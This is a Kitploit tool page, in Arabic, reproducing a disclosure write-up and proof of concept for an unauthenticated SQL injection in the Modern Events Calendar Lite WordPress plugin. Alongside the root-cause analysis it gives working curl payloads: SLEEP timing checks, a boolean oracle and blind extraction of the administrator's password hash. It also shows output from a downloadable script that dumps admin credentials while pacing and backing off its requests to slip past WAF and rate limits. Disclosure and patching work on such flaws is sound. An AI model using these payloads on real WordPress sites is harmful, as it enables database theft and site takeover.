Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — حقن SQL بدون مصادقة | Kitploit
أدوات/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأمن قواعد البيانات
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — حقن SQL بدون مصادقة

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Modern Events Calendar Lite <= 7.33.0 — حقن SQL غير مصادق عليه عبر mec_list_load_more (atts[include] / atts[exclude])

الملخص

التفاصيلالقيمة
الإضافةModern Events Calendar Lite
Slugmodern-events-calendar-lite
المؤلفWebnus
الإصدارات المتأثرة<= 7.33.0 (إصدار Lite الحالي الموزَّع من البائع). الخلل موجود في كامل نطاق الإصدارات ما بعد w.org؛ تم تأكيده مخبريًا على 6.5.6 و7.33.0، وتأكيده بالتحليل الساكن (static) في 5.21.2. 6.5.6 = آخر بناء على wordpress.org (مجمّد منذ إغلاق 2022-05-11)؛ 7.33.0 = البناء الحالي الموزَّع من mec.webnus.net
التنصيبات النشطةالعدد مخفي في wordpress.org منذ الإغلاق؛ تاريخيًا أكثر من 100,000+. ما زال البائع يوزّعه ويحدّثه بنشاط (Lite عبر mec.webnus.net؛ نفس قاعدة الكود 7.x تقوم عليها نسخة MEC Pro المباعة حاليًا)
CWECWE-89 (حقن SQL)
الثغرةحقن SQL أعمى غير مصادق عليه (قائم على الوقت / بولياني / قائم على الأخطاء)
الصلاحيات المطلوبةلا شيء (wp_ajax_nopriv_* — قبل المصادقة)
تفاعل المستخدملا شيء
CVSS v3.17.5 (عالية) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الحالةتم التحقق مخبريًا من النهاية إلى النهاية على 7.33.0 (الحالي) و6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

الوصف

يسجّل Modern Events Calendar Lite مجموعة من إجراءات "load more" غير المصادق عليها التابعة لـ admin-ajax.php لجلود قوائم الأحداث (list, grid, masonry, agenda, timeline, tile, custom). يقرأ كل معالج صفيف الطلب atts الذي يتحكم فيه المهاجم، ويمرّره عبر دالة مساعدة باسم sanitize_deep_array() التي — عند استدعائها بوسائطها الافتراضية — لا تقوم بأي تنقية إطلاقًا — ثم يدمج قيم atts['include'] (وatts['exclude']) خامًا في مقطع SQL بصيغة post_id IN (...) يُنفَّذ عبر $wpdb->get_results() وبدون $wpdb->prepare().

نظرًا لأن نقاط الدخول مسجَّلة على wp_ajax_nopriv_*، لا يتطلب الأمر أي مصادقة أو حساب أو nonce أو تفاعل مستخدم. يمكن لمهاجم بعيد غير مصادق عليه حقن SQL تعسفي في جملة WHERE الخاصة باستعلام SELECT ضد جدول wp_mec_dates وقراءة أي بيانات في قاعدة بيانات WordPress (تجزئات كلمات مرور المستخدمين، أسرار/مفاتيح wp_options، بيانات الإضافات الأخرى) عبر تقنيات أعمى قائمة على الوقت / المنطق البولياني / الأخطاء.


السبب الجذري

1. "منقِّية" لا تنقّي شيئًا في المسار الافتراضي

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

حارس الشرط (is_array($excludes) and !count($excludes)) يجعل الدالة بلا أي تأثير تمامًا عندما يكون $excludes هو الصفيف الفارغ الافتراضي — إذ تُنسخ كل قيمة كما هي حرفيًا. كان القصد واضحًا «إذا وُجدت قائمة استثناء، فتجاوز تلك المفاتيح»؛ لكن المنطق البولياني يتجاوز كل شيء بدلًا من ذلك كلما لم يتم توفير أي قائمة استثناء.

2. المستدعي لا يمرّر $excludes

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

يتم استدعاء sanitize_deep_array($_REQUEST['atts']) بوسيط واحد → $excludes يأخذ القيمة الافتراضية array() → فرع عدم التأثير أعلاه → $atts هو $_REQUEST['atts'] الخام وغير الموثوق.

3. الدمج الخام في جملة IN (...)

app/libraries/skins.php:

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

يتم دمج عناصر الصفيف عبر implode() مباشرة في سلسلة SQL بدون تحويل إلى عدد صحيح وبدون تهريب (escaping). (كان تطبيق absint()/(int) على كل عنصر كفيلًا بإغلاق هذه الثغرة.)

4. التنفيذ بدون عبارة مُعدّة (prepared statement)

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

السلسلة المبنية بالكامل تُسلَّم إلى $wpdb->get_results() كما هي.

مسار التلوث (الطلب → نقطة التنفيذ):

root@kitploit:~
$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

قابلية الوصول

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

تسجيل nopriv يجعل نقطة النهاية قابلة للوصول قبل المصادقة. نفس بنية load_more() وباني الاستعلام المشترك في skins.php موجودان في الجلود الشقيقة، ولكل منها إجراء wp_ajax_nopriv_* خاص بها، لذا يمكن الوصول إلى نفس الحقن عبر أي من:

إجراء AJAX (nopriv)معالج الجلد
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

لا يتم فحص أي nonce في load_more()، ولا يتطلب الإجراء وجود أي shortcode من الإضافة في الصفحة — إذ تُسجَّل معالجات AJAX بشكل غير مشروط عند التهيئة (init).


إثبات المفهوم (PoC) (مؤكد مخبريًا، MEC Lite 6.5.6، WordPress 6.6.5، MariaDB 10.x)

جميع الطلبات غير مصادق عليها (بدون cookie وبدون nonce). تُوضع القيمة المُحقونة في atts[include][]؛ تُغلق الحمولة القوسين المفتوحين لمجموعة IN ((...) AND (... IN ( وتُلحق OR <sleep> على المستوى الأعلى بحيث يُقيَّم الشرط لكل صف يتم فحصه، ثم تعلّق الجزء الختامي )) ORDER BY ...:

root@kitploit:~
TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: admin hash begins with '$' (phpass)

الاستعلام الدقيق الذي تم تنفيذه (مُلتقط من WP_DEBUG_LOG) لحمولة كناري الخطأ atts[include][]=0)MEC_SQLI_CANARY كان:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— يظهر الرمز الحرفي MEC_SQLI_CANARY كما هو في العبارة المنفَّذة، مما يؤكد الدمج الخام. معامل atts[exclude][] (skins.php:803 / 603، NOT IN) قابل للحقن بالطريقة نفسها (مؤكد مخبريًا: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). تمت إعادة إنتاج نفس الاستعلام والحقن على 7.33.0 (البناء الحالي) — نفس الكناري، نفس سلوك SLEEP.

PoC آلي

mec-unauth-sqli-poc.py (مُرفق) مكتفٍ ذاتيًا بالكامل ولا يتطلب أي بيانات اعتماد: يؤكد الحقن (خط الأساس مقابل SLEEP)، ثم ينفذ استخراجًا أعمى قائمًا على الوقت لأي بيانات (الافتراضي: @@version، مستخدم قاعدة البيانات، وuser_login:user_pass لأول مدير). يتحقق من صحة كل استجابة (HTTP 200) ويباعد بين الطلبات باستخدام --delay + التباطؤ التدريجي (back-off) لتجاوز أنظمة WAF/تحديد المعدل (مثل mod_evasive). لا يتم تعديل أي بيانات (سياق SELECT للقراءة فقط).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

التأثير

وصول غير مصادق عليه، قابل للوصول عبر الشبكة، للقراءة الكاملة لقاعدة البيانات: تجزئات كلمات مرور wp_users، ومحتويات wp_options (auth_key، أسرار API، رموز مميزة)، وأي جدول آخر. عمليًا، يتسلسل هذا إلى استيلاء كامل على الموقع (كسر التجزئات دون اتصال، سرقة الأسرار/الجلسات). تأثير السلامة (Integrity) محدود — إذ يُنفَّذ الحقن في عبارة SELECT عبر $wpdb->get_results()، التي لا تسمح بالاستعلامات المكدسة (stacked queries) — ومن هنا I:N. قد يؤدي الاستخدام المكثف لـ SLEEP/BENCHMARK إلى تدهور التوفر (Availability)، لكن التأثير الأساسي الموثّق بموثوقية هو السرية (C:H)، مما يعطي تصنيف CVSS 7.5.


الملفات المتأثرة

أرقام الأسطر معطاة لإصدار 7.33.0 (الحالي) مع 6.5.6 بين قوسين؛ الكود مطابق عبر النطاق بأكمله.

الملفالسطر (7.33.0 / 6.5.6)المشكلة
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() بلا أي تأثير عندما يكون $excludes هو الصفيف الفارغ الافتراضي (حارس !count($excludes))
app/skins/list.php535 / 501قراءة atts من $_REQUEST وتمريرها إلى sanitize_deep_array() بدون $excludes (داخل load_more()، 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → نقطة دخول غير مصادق عليها
app/libraries/skins.php806 / 603-606دمج صفيف include / exclude خامًا عبر implode() داخل post_id IN (...) / NOT IN (...) (exclude عند 803 / 603)
app/libraries/db.php79-93 (87)تشغيل MEC_db::select() لـ $wpdb->get_results() بدون prepare()

تتقاسم الجلود الشقيقة (grid, masonry, agenda, timeline, tile, custom) نفس load_more() + باني الاستعلام في skins.php وكل منها يسجّل إجراء wp_ajax_nopriv_* → نفس الخلل، نقاط دخول متعددة.


التمييز عن ثغرات حقن SQL السابقة في Modern Events Calendar

هذه نقطة حقن متميزة ولم يُبلَّغ عنها سابقًا. كل ثغرة حقن SQL موثقة علنًا في MEC تستهدف إجراء AJAX ومعاملًا مختلفين، وجميعها أُصلحت في إصدارات تسبق هذا الاكتشاف زمنيًا (مؤكد مخبريًا أنها ما تزال حيّة في 7.33.0):

المرجعالمصادقةإجراء AJAXالمعاملأُصلح في
CVE-2021-24946غير مصادق عليهmec_load_single_pagetime6.1.5
CVE-2021-4458غير مصادق عليه (فقط إذا كان تهريب المدخلات addslashes معطَّلًا)mec_load_single_pageid6.4.0
CVE-2021-24149مصادق عليه (كاتب+/مشترك)mec_fes_formmec[post_id]5.16.6
هذا التقريرغير مصادق عليه (بدون أي شرط مسبق)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]غير مُصلَح (≤ 7.33.0)
  • مسار كود مختلف. الثغرات السابقة غير المصادق عليها موجودة في معالج الحدث الفردي mec_load_single_page؛ أما هذه فتكمن في ترقيم صفحات "load more" الخاص بالجلود (load_more() → MEC_skin::initialize() → باني post_id IN (...) في app/libraries/skins.php)، ويُوصل إليها عبر فرع عدم التأثير الافتراضي في sanitize_deep_array(). إصلاحات mec_load_single_page لا تمس skins.php.
  • لا شرط تهيئة مسبق. كانت CVE-2021-4458 (id) قابلة للاستغلال فقط عندما يكون تهريب المدخلات (input slashing) في PHP/WordPress معطَّلًا (حالة غير افتراضية) لأن تلك القيمة تقع في سياق مقتبس (quoted). هنا تقع قيم atts[include]/atts[exclude] في سياق رقمي غير مقتبس داخل IN(...) وتُستغل باستخدام الأقواس + كلمات SQL المفتاحية (0)) OR SLEEP(3)#)، وهو ما لا تعادله wp_magic_quotes(). لذلك فهي قابلة للاستغلال على تثبيت WordPress افتراضي — مؤكد مخبريًا على WP 7.0 الأصلي (magic quotes مفعّلة).
  • تصمد أمام كل الإصلاحات السابقة. مؤكد أنها تعمل على 7.33.0 — بعد أربع سنوات ونسخة رئيسية كاملة من آخر إصلاح لـ mec_load_single_page (6.4.0).

ملاحظة الإفصاح / النطاق

Modern Events Calendar Lite شُطب من wordpress.org في 2022-05-11 ("السبب: مخالفة الإرشادات")، لذا فإن بناء wordpress.org مجمّد عند 6.5.6. هذا لا يعني أن الإضافة مهجورة — واصلت Webnus التطوير خارج المنصة: البناء الحالي من Lite الموزَّع من mec.webnus.net هو 7.33.0، ومسار الكود القابل للاستغلال مطابق بايت ببايت هناك (مؤكد مخبريًا؛ حقن SQL يعمل بشكل مطابق على 7.33.0). لذلك يؤثر الخلل على كل إصدار في النطاق ما بعد الشطب، وليس فقط على النسخة المجمّدة في wordpress.org.

آثار التوجيه (الاعتراض القائل «مغلق على wordpress.org» أضعف بكثير مما يبدو لأول وهلة):

  • إنه منتج حالي، يوزّعه البائع ويدعمه، وليس كودًا مهجورًا — الإفصاح المنسق إلى Webnus هو القناة الأساسية؛ فهم يشحنون التحديثات بنشاط ويجب عليهم إصلاح الثغرة.
  • MEC Pro (مباع حاليًا؛ 7.x الحالي) مبني على نفس قاعدة الكود 7.x. إن app/libraries/skins.php وapp/libraries/main.php وapp/libraries/db.php مكتبات أساسية مشتركة، لذا فإن Pro شبه متأكد من تأثره. يجب تأكيد ذلك مقابل كود Pro قبل الادعاء رسميًا، لكن بنية المكتبات المشتركة تجعله مرجحًا جدًا. التأثير المؤكد على Pro يجعل الاكتشاف ضمن نطاق Patchstack بشكل لا لبس فيه (مكوّن مباع علنًا) ويستحق CVE من MITRE/Patchstack بغض النظر عن حالة القائمة على wordpress.org.
  • بالنسبة للجهات التي تشترط القيد في قائمة wordpress.org تحديدًا (بعض معايير مكافآت Wordfence؛ استثناء Patchstack للمكوّنات «المغلقة» كما يُطبَّق على بناء Lite المجاني)، استشهد بتأثير الإصدار 7.33.0 الموزَّع من البائع + Pro بدلًا من 6.5.6 المجمّد.

يستحق الأمر تخصيص CVE على الأسس الموضوعية: حقن SQL غير مصادق عليه، قابل للوصول عبر الشبكة، يقرأ قاعدة البيانات بالكامل، في منتج حالي يوزّعه البائع بقاعدة تثبيت تاريخية بستة أرقام.


الجدول الزمني

التاريخالحدث
2026-06-03اكتُشف أثناء مراجعة آلية للإضافة؛ تم التحقق من النهاية إلى النهاية (بدون مصادقة) على MEC Lite 6.5.6 (بناء wordpress.org المجمّد)
2026-06-04أُعيد التحقق من النهاية إلى النهاية على 7.33.0 (Lite الحالي الموزَّع من البائع عبر mec.webnus.net)؛ تأكيد أن الكود/الحقن مطابقان — الاكتشاف حالي، وليس أثرًا لنسخة مشطوبة
2026-06-04إشعار البائع (Webnus) + طلب CVE من WPScan؛ تأكيد أن MEC Pro تتشارك في نفس المسار
2026-06-05تم التحقق من الثغرة وتخصيص CVE لها
تنزيل الأداة